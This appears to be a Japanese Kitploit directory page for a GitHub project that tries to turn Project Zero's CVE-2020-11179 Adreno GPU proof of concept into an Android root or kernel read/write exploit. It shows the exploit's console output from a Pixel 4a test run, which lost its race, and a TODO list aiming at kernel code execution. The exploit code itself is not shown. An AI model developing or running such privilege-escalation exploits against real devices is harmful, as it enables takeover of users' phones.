Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — CVE-2020-11179 Adreno-Qualcomm-GPU バグの製品化の取り組み、オリジナルの poc は P0 の Ben Hawkes によるもの | Kitploit
ツール/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Androidセキュリティ特権昇格脆弱性分析エクスプロイトモバイルセキュリティハードウェアセキュリティバイナリエクスプロイト
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

CVE-2020-11179-Adreno-Qualcomm-GPU

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-11179 Adreno-Qualcomm-GPU バグの製品化の取り組み、オリジナルの poc は P0 の Ben Hawkes によるもの

リポジトリを見る
73151年前未レビュー

P0研究者のBen Hawkesが作成したPoCから発展させた、私の独立した作業です。
元記事: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

私の目標は、彼のPoCをC言語に移植し、彼が中断したところから続けて、 PoCをルートシェルまたはカーネルr/wのいずれかに変え、
そして何らかの方法でシステムを変更してカーネルコード実行を示すことです。

  • おそらく、私のテスト端末ではttbr0へのオフセットが異なる
  • オフセットを見つけるには、計算とデバッグが必要

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

テスト端末: pixel 4a
Android 10 ビルド QD4A.2000317.027

TODO:

  • コンテキストスイッチとレースコンディションに取り組む
  • カーネルコード実行を達成する
ツールをダウンロード